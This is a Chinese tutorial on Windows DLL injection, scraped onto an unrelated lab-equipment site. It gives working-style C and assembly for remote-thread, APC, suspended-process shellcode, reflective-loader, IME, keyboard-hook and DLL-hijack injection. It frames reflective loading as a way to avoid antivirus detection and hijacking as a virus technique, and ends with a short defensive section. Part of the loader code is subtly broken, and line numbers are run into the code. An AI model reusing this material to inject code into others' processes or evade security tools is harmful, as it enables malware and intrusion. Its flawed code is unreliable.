一篇文章带你了解Dll注入

您所在的位置:网站首页 dll注入代码 一篇文章带你了解Dll注入

一篇文章带你了解Dll注入

2024-07-14 20:21:48| 来源: 网络整理| 查看: 265

前言

         这是系列的第四篇,主要会阐明DLL注入的基本原理和几种主流方式,虽然这些方法已经有点滞后了。但是DLL注入的基本原理是不会改变的。

         DLL注入的主要原理就是强制进程自己将需要注入的dll文件注入到自身进程空间内,最好配合Hook技术。

         Dll注入可以从三个方向入手:第一:在进程创建初期按照导入表加载dll的时候。第二:进程运行时期利用LoadLibrary函数加载,第三:利用某些系统机制:例如windows消息机制等。

进程创建后期0x1 CreateRemoteThread

         此方法是最常见的dll注入的方法,原理是由于CreateRemoteThread的函数原型和CreateThread是一致的。所以模仿CreateThread创建线程的方式实现注入。

         由于创建的是远程线程,是需要将注入的参数(也就是Dll文件的路径)写入目标进程空间。所以基本步骤如下:

         打开目标进程句柄12345678910//打开目标进程hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwTargetPid);if (hProc == NULL){ printf("OpenProcess:%d\n", GetLastError()); return 0;}

         向目标进程中开辟空间并写入Dll文件路径123456789101112131415161718//向目标进程中写入句柄LPTSTR psLibFileRemote = NULL;psLibFileRemote = (LPTSTR)VirtualAllocEx(hProc, NULL, lstrlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE);if (psLibFileRemote == NULL){ printf("VirtualAllocEx:%d\n", GetLastError()); return FALSE;}BOOL bRet=WriteProcessMemory(hProc, psLibFileRemote, (LPCVOID)DllPath, //(void *)DllPath lstrlen(DllPath) + 1, NULL);

         获取LoadLibrary的地址1234567PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA");if (pfnStartAddr == NULL){ printf("GetProcAddress %d\n",GetLastError()); return FALSE;}

         利用CreateRemoteThread函数调用LoadLibrary加载dll12345678//CreateThreadThreadHANDLE hThread = CreateRemoteThread(hProc, NULL, 0, pfnStartAddr, psLibFileRemote, 0, NULL);

0x2 RtlCreateUserThread

         RtlCreateUserThread是CreateRemoteThread的底层实现,所以使用RtlCreateUserThread的原理是和使用CreateRemoteThread的原理是一样的。唯一的区别是使用CreateRemoteThread写入目标进程的是Dll的路径,而RtlCreateUserThread写入的是一段shellcode。

         和CreateRemoteThread一样都是需要获取目标进程句柄,获取LoadLibrary地址,dll路径。

         接着我们需要获取RtlCreateUserThread地址,RtlCreateUserThread函数原型如下:123456789101112typedef NTSTATUS(__stdcall *PCreateThread)( HANDLE Process, //句柄 PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, //线程安全描述符 BOOLEAN CreateSuspended, //创建挂起标志 ULONG ZeroBits, SIZE_T MaximumStackSize, SIZE_T CommittedStackSize, PUSER_THREAD_START_ROUTINE StartAddress, //远程线程函数 PVOID Parameter OPTIONAL, //参数 PHANDLE Thread OPTIONAL, PCLIENT_ID ClientId OPTIONAL );

         如何构造shellcode?123456789101112131415161718192021VOID ShellCodeFun(VOID){ _asm { call L001L001: pop ebx sub ebx,5 //自定位 push dword ptr ds : [ebx]INJECT_DATA.lpParameter //lpParameter call dword ptr ds : [ebx]INJECT_DATA.lpThreadStartRoutine //ThreadProc xor ebx,ebx push ebx push -2 call dword ptr ds : [ebx]INJECT_DATA.AddrOfZwTerminateThread //ZwTerminateThread nop nop nop nop nop }}

         将shellcode写入进程内存中,然后调用RtlCreateUserThread执行shellcode。123456789101112131415161718//写入shellcode int bRet = WriteProcessMemory(hProcess, pMem, &Data, sizeof(INJECT_DATA), &dwIoCnt); if (bRet == 0) { printf(" WriteProcessMemory:%d\n", GetLastError()); return FALSE; } status = RtlCreateUserThread(hProcess, //进程句柄 lpThreadAttributes, //线程安全符 TRUE, //创建挂起标志 0, //ZeroBit dwStackSize, //栈大小 0, (PUSER_THREAD_START_ROUTINE)pMem, //StartAddress,包含了shellcode和数据(StartAddress) NULL, //参数 &hThread, //远程线程句柄 &Cid //ClientID );

0x3 APC注入

         APC中文名称为异步过程调用, APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。

         所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。

         首先依旧是将DLL文件路径写入进程。12345678910lpData = VirtualAllocEx(hProcess, lpData, lstrlen(szDllFullPath) + 1, MEM_COMMIT, PAGE_READWRITE);if (lpData){ bStatus = WriteProcessMemory(hProcess, lpData, szDllFullPath, lstrlen(szDllFullPath) + 1, &stSize); if (FALSE == bStatus) { printf("WriteProcessMemory:%d\n", GetLastError()); return NULL; }}

         然后使用QueueUserAPC将APC例程添加到APC队列中,QueueUserAPC三个参数分别是APC例程,线程句柄,例程参数。所以还需要获取线程句柄123456dwRet=QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData);if (NULL == dwRet) { printf("QueueUserAPC:%d\n", GetLastError()); return NULL;}

         当然,为了提高命中率,可以使用遍历所有线程,然后利用te32.th32OwnerProcessID是否等于目标进程PID的策略进行进程全局注入。123456789101112131415161718192021if (Thread32First(hThreadSnap, &te32)){ do { //线程所属的进程ID==目标进程ID if (te32.th32OwnerProcessID == dwPid) { //获取当前线程句柄 HANDLE hThread = OpenThread(THREAD_ALL_ACCESS,FALSE,te32.th32ThreadID); DWORD dwRet = NULL; //插入APC队列 dwRet=QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData); if (NULL == dwRet) { printf("QueueUserAPC:%d\n", GetLastError()); return NULL; } CloseHandle(hThread); } } while (Thread32Next(hThreadSnap, &te32));}

0x4 代码注入

         使用傀儡进程:以挂起方式创建进程,然后向其中写入shellcode,利用shellcode执行LoadLibrary

         首先以挂起方式创建进程,CreateProcess的第6个参数可以设定进程创建的方式12345678910bRetProcess = CreateProcess("D:\\HostProc.exe", NULL, NULL, NULL, NULL, CREATE_SUSPENDED, //挂起创建进程 NULL, NULL, &Startup, &pi);

         然后需要保存进程的上下文信息,主要是EIP的值。以便于Load完成后返回。123//获取CONTEXTctx.ContextFlags = CONTEXT_CONTROL;GetThreadContext(pi.hThread, &ctx);

         接着需要构建我们替换执行的代码。这段代码的目的是Load我们的恶意的dll文件,所以至少需要做两个方面的准备,第一:需要知道LoadLibrary的地址。第二需要知道Dll的路径。为了让程序更好的运行还需要保存现场。最后利用ret方式返回。12345678910111213141516171819unsigned char sc[] = { //push ret 0x68,retChar[0],retChar[1],retChar[2],retChar[3], //push flags 0x9C, //pushad 0x60, //push DllPath 0x68, strChar[0], strChar[1],strChar[2],strChar[3], //mov eax,AddressOfLoadLibrary 0xB8, apiChar[0],apiChar[1],apiChar[2],apiChar[3], //call eax 0xFF,0xD0, //popad 0x61, //popfd 0x9D, //ret 0xC3 };

         构造完这些之后将shellcode写入,由于内存本身就有执行属性,所以不需要修改内存属性。1234567891011bRet=WriteProcessMemory(pi.hProcess, Remote_ShellCodePtr, ShellCode, ShellCodeLength, NULL );if (FALSE == bRet){ printf("WriteProcessMemory:%d\n", GetLastError()); return FALSE;}

         最后利用SetThreadContext将我们的EIP设置为shellcode起始地址。并调用ResumeThread重启线程1234ctx.Eip =(DWORD) Remote_ShellCodePtr;ctx.ContextFlags = CONTEXT_CONTROL;SetThreadContext(pi.hThread, &ctx);ResumeThread(pi.hThread);

         为了提高命中率可以向目标进程的所有线程进行注入.利用CreateToolhelp32Snapshot等三个函数遍历线程。12345678910111213if (Thread32First(hThreadSnap, &te32)){ do { if (te32.th32OwnerProcessID == ProcessId) { bStatus = TRUE; dwTidList[Index] = te32.th32ThreadID; // printf("%d:%d:%d\n", Index, dwTidList[Index], te32.th32ThreadID); Index++; } } while (Thread32Next(hThreadSnap, &te32));}

0x5 反射式DLL注入

         反射式dll注入不需要dll文件落地,减少被查杀的风险。首先将需要注入的dll写入进程内存,然后为该dll添加一个导出函数,利用这个导出函数让其自动的装载dll。注射器是将DLL文件写入目标进程内存。反射装载器实现的就是模拟dll装载器装载dll文件的操作。

         首先说一下注射器,注射器的目的是将Dll文件写入到目标进程空间,然后获取里面导出函数ReflectiveLoader。

         首先需要打开目标进程句柄1234567891011//打开目标进程句柄HANDLE hProcess = NULL;DWORD dwProcessId = 0;dwProcessId = GetProcessIdByName(ProcessNmae);hProcess = OpenProcess(PROCESS_CREATE_THREAD | //创建线程所必需的 PROCESS_QUERY_INFORMATION | //检索有关进程的某些信息 PROCESS_VM_OPERATION | //需要对进程的地址空间执行操作 PROCESS_VM_WRITE | //需要对进程的地址空间执行写操作 PROCESS_VM_READ, //需要对进程的地址空间执行读操作 FALSE, dwProcessId);

         向目标进程写入DLL数据1234567891011121314//为需要注入的DLL在目标进程中分配空间LPVOID lpRemoteLibraryBuffer = NULL;lpRemoteLibraryBuffer=VirtualAllocEx(hProcess, NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READ);if (!lpRemoteLibraryBuffer){ printf("VirtualAllocEx:%d\n", GetLastError()); return NULL;}//将DLL写入目标内存if (!WriteProcessMemory(hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL)){ printf("WriteProcessMemory:%d\n", GetLastError()); return NULL;}

         利用导出表获取导出函数地址ReflectiveLoader。123456789101112131415161718while (iCounter--){ char* cpExportFunctionName = (char*)(uiBaseAddress + RvaToOffset(DEREF_32(uiNameArray), uiBaseAddress)); //为了找到载入DLL中的导出函数ReflectiveLoader地址 if (strstr(cpExportFunctionName, "ReflectiveLoader") != NULL) { //获取目标函数数组的地址 uiAddressArray = uiBaseAddress + RvaToOffset(((PIMAGE_EXPORT_DIRECTORY)uiExportF0A)->AddressOfFunctions, uiBaseAddress); //获取导出函数ReflectiveLoader的地址,计算公式FunAddress=uiAddressArrary+Orginal*sizeof(dword) uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); //返回offset return RvaToOffset(DEREF_32(uiAddressArray), uiBaseAddress); } //下一个函数名称数组 uiNameArray += sizeof(DWORD); //下一个函数索引数组 uiNameOrdinals += sizeof(DWORD);}

         然后利用CreateRemoteThread跨线程调用ReflectiveLoader。1234//使用CreateRemoteThread调用lpReflectiveLoader加载DLLDWORD dwThreadId = 0;HANDLE hThread = CreateRemoteThread(hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId);printf("CreateRemoteThread:%d\n", GetLastError());

         接下来就是ReflectiveLoader的编程,ReflectiveLoader其实就是一个dll加载器。

         首先需要知道当前dll的基地址,而ReflectiveLoader肯定位于这个DLL中所以在此函数地址出逐次递减,然后判断是否存在MZ标志,MZ的地址就是DLL的基地址123456789101112131415161718192021uiLibraryAddress = caller();ULONG_PTR uiHeaderValue = NULL;while (TRUE){ if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE) { //NtHeaders的偏移 uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024) { //NtHeaders uiHeaderValue += uiLibraryAddress; // if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE) { break; } } } uiLibraryAddress--;}

         接着获取注射器所需要的API函数LoadLibrary,GetProcess,VirtualAlloc的地址。123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110//读取LDR的链表地址uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;USHORT usCounter = 0;ULONG_PTR uiValueC = 0;//读取InMemoryOrderModuleList的入口地址ULONG_PTR uiValueA = (LONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;while (uiValueA){ //DllName uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; //DllName.Length usCounter = (USHORT)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; //存储的Dll Module的HASH uiValueC = 0; //计算模块名的HASH值 do { uiValueC = ror((DWORD)uiValueC); if (*((BYTE*)uiValueB) >= 'a') uiValueC += *((BYTE *)uiValueB) - 0x20; else uiValueC += *((BYTE *)uiValueB); uiValueB++; } while (--usCounter); if ((DWORD)uiValueC == KERNEL32DLL_HASH) { //获取导出表 //1.获取基地址(DOS头) uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; //2.获取Nt头 uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; //3.获取导出表数据目录 uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; //4.获取导出表的地址 uiExportDir = uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress; //5.获取函数名称数组 uiNameArray = uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames; //6.获取导出表的索引数组 uiNameOrdinals = uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals; usCounter = 3; while (usCounter > 0) { dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); //比较是否是LoadLibrary,GetProcAddress,VirtualAlloc的HASH if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH) { //获取指定函数的地址 uiAddressArray = uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions; uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); //存储函数的VA //存储LoadLibrary的绝对地址 if (dwHashValue == LOADLIBRARYA_HASH) pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray)); //存储GetProcAddress的绝对地址 else if (dwHashValue == GETPROCADDRESS_HASH) pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray)); //存储VirtualAlloc的绝对地址 else if (dwHashValue == VIRTUALALLOC_HASH) pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray)); usCounter--; } uiNameArray += sizeof(DWORD); uiNameOrdinals += sizeof(DWORD); } } else if ((DWORD)uiValueC == NTDLLDLL_HASH) { //获取Ntdll的基地址 uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; //获取NtHeader uiExportDir = (uiBaseAddress+((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); //获取数据目录导出表 uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; //获取导出表的VA uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress); //获取导出表函数名称数组 uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames); //获取导出表函数索引数组 uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals); usCounter = 1; while (usCounter > 0) { //利用导出函数名称计算HASH //DEREF_32函数是为了将32位DWORD转化为字符串 dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray))); //比较是否是ntflushinstructioncache函数HASH if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) { //获取函数地址数组 uiAddressArray =uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions; //根据索引找到其在函数地址数组中的地址 uiAddressArray += ((DEREF_16(uiNameOrdinals) * sizeof(DWORD))); //存储pNtFlushInstructionCache函数的地址 if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH) { //RVA+BaseAddress=VA pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray)); } usCounter--; } //下一个函数名称数组 uiNameArray += sizeof(DWORD); uiNameOrdinals += sizeof(DWORD); } } //已经找到四个函数地址VA结束第二歩 if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache) break; uiValueA = DEREF(uiValueA);}

         有了前面这几个API函数做支撑,可以将DLL文件载入到内存,这个是模拟装载器的载入,并不是单纯的读取。1234567891011121314151617181920212223242526272829303132333435//NT头uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;//开辟内存空间//因为是自己构架的Loader,所以没有加载kernel32.dll需要自行获取函数的地址,然后调用uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);//文件头大小uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;//原地址地址uiValueB = uiLibraryAddress;//目的地址uiValueC = uiBaseAddress;while (uiValueA--) *(BYTE*)uiValueC++ = *(BYTE*)uiValueB;//复制节区ULONG_PTR uiValueD=NULL;uiValueA = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader;//获取节区数目ULONG_PTR uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;while (uiValueE--){ //获取节区VA uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress); //获取磁盘中节区的VA uiValueC = uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData; //获取磁盘中节区大小,不需要填充 uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; //复制 while (uiValueD--) *(BYTE*)uiValueC++ = *(BYTE*)uiValueC++; //下一个节区 uiValueA += sizeof(IMAGE_SECTION_HEADER);}

         然后就是修正IAT和重定位表。修正OEP。和加壳很像!1234567891011121314151617181920212223242526272829303132333435363738394041//6.修正重定位表//计算重定位信息公式:VA-ImageBase+BaseAddress//计算BaseAddress-ImageBaseuiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;//获取重定位数据目录uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size) //确定重定位表是否存在值{ //获取重定位表VA uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress); while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock) { //获取重定位块的RVA uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress); //获取重定位块的个数 uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); while (uiValueB--) { if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64) *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW) *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW) *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); //获取下一个重定位 uiValueD += sizeof(IMAGE_RELOC); } uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; }}//7.调用DLL的OEP//获取DLL的OEPuiValueA = (uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint);//刷新指令集pNtFlushInstructionCache((HANDLE)-1, NULL, 0);//调用DLL入口点((DLLMAIN)uiValueA)((HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL);return uiValueA;

         总结一下

注射器的实现 1.将待注入DLL读入自身内存(利用解密磁盘上加密的文件、网络传输等方式避免文件落地) 2.利用VirtualAlloc和WriteProcessMemory在目标进程中写入待注入的DLL文件 3.利用CreateRemoteThread等函数启动位于目标进程中的ReflectiveLoader ReflectiveLoader的实现,ReflectiveLoader要完成的任务是对自身的装载 1.定位DLL文件在内存中的基址,便于后期载入内存 2.获取所需的系统API 3.分配一片用来装载DLL的空间以内存方式写入,而非文件方式 4.复制PE文件头和各个节 5.处理DLL的引入表,修复重定位表 6.调用DLL入口点 系统机制0x6 输入法注入

         切换输入法时候,输入法管理器imm32.dll就会加载IME模块,这样就形成了输入法注入的充要条件。而由于这个Ime文件本质上只是个存放在C:\WINDOWS\system32目录下的特殊的DLL文件,因此我们可以利用这个特性,在Ime文件中使用LoadLibrary()函数待注入的DLL文件。

         首先就是编写ime文件,至少需要两个导出函数BOOL ImeClass_Register(HINSTANCE hinstDLL),BOOL WINAPI ImeInquire(LPIMEINFO lpIMEInfo, LPTSTR lpszUIClass, LPCTSTR lpszOption)这两个是必须要实现的。剩下的导出函数可以选择不去实现。

         接着编写注射器。利用ImmInstallIME安装ime文件,当输入法切换的时候就可以注入dll了。1234567891011121314151617181920void InstallIME(){ //获取当前默认的输入法 SystemParametersInfo(SPI_GETDEFAULTINPUTLANG, 0, &m_retV, 0); //安装输入法 m_hImeFile32 = ImmInstallIME("HookIme.ime", "我的输入法"); //是否安装成功 if (ImmIsIME(m_hImeFile32)) { //设置默认输入法 SystemParametersInfo(SPI_SETDEFAULTINPUTLANG, 0, &m_hImeFile32, SPIF_SENDWININICHANGE); }}

0x7 SetWindowsHookEx

         我的理解是:windows维护着消息队列,应用程序会从队列中取出消息,不同的消息有着不同的编号,我们根据编号idHook,设置不同钩子。如何设置钩子?可以利用SetWindowsHookEx这个API函数,函数原型如下:第一个参数是消息编号,第二个参数为Hook函数12345HHOOK SetWindowsHookExA( int idHook, HOOKPROC lpfn, HINSTANCE hmod, DWORD dwThreadId);

         具体操作如下:12345678910extern "C" _declspec(dllexport) void HookStart(){// HHOOK hHook = NULL; g_hHook=SetWindowsHookEx(WH_KEYBOARD, HookProc, GetModuleHandle("E://Viusal Studio//kanxue//注入技术//SetWindowsHookEx//Inject_dll//Debug//Inject_dll.dll"), 0); if (NULL == g_hHook) { MessageBox(NULL, "安装钩子失败", "提示", MB_OKCANCEL); }}

其他方法:

         DLL劫持法(输入表DLL替换法),原理是利用搜索DLL路径存在先后顺序(exe程序目录>系统目录>当前目录>Path),当较高层存在一个同名的DLL文件的时候,就会直接加载较高层的DLL文件。常常用于病毒的白加黑。需要注意的是黑DLL路径优先级一定要高于原来的dll文件,第二,一定要具有源dll文件所有的导出函数。

         毕竟新创建的进程在加载User32.dll时,都会自动调用LoadLibrary去加载注册表中某个表项键值里写入的Dll路径

x64下:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows x86下:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Windows 应用级防护

         在创建远程线程创建初期在DllMain中防御远程线程,此时尚未调用LoadLibrary。可以对线程的合法性判断         LoadLibrary之前首先可以挂钩LoadLibrary函数,然后检查dll路径合法性         LoadLibrary之后枚举可疑内存和模块



【本文地址】

公司简介

联系我们

今日新闻


点击排行

实验室常用的仪器、试剂和
说到实验室常用到的东西,主要就分为仪器、试剂和耗
不用再找了,全球10大实验
01、赛默飞世尔科技(热电)Thermo Fisher Scientif
三代水柜的量产巅峰T-72坦
作者:寞寒最近,西边闹腾挺大,本来小寞以为忙完这
通风柜跟实验室通风系统有
说到通风柜跟实验室通风,不少人都纠结二者到底是不
集消毒杀菌、烘干收纳为一
厨房是家里细菌较多的地方,潮湿的环境、没有完全密
实验室设备之全钢实验台如
全钢实验台是实验室家具中较为重要的家具之一,很多

推荐新闻


图片新闻

实验室药品柜的特性有哪些
实验室药品柜是实验室家具的重要组成部分之一,主要
小学科学实验中有哪些教学
计算机 计算器 一般 打孔器 打气筒 仪器车 显微镜
实验室各种仪器原理动图讲
1.紫外分光光谱UV分析原理:吸收紫外光能量,引起分
高中化学常见仪器及实验装
1、可加热仪器:2、计量仪器:(1)仪器A的名称:量
微生物操作主要设备和器具
今天盘点一下微生物操作主要设备和器具,别嫌我啰嗦
浅谈通风柜使用基本常识
 众所周知,通风柜功能中最主要的就是排气功能。在

专题文章

    CopyRight 2018-2019 实验室设备网 版权所有 win10的实时保护怎么永久关闭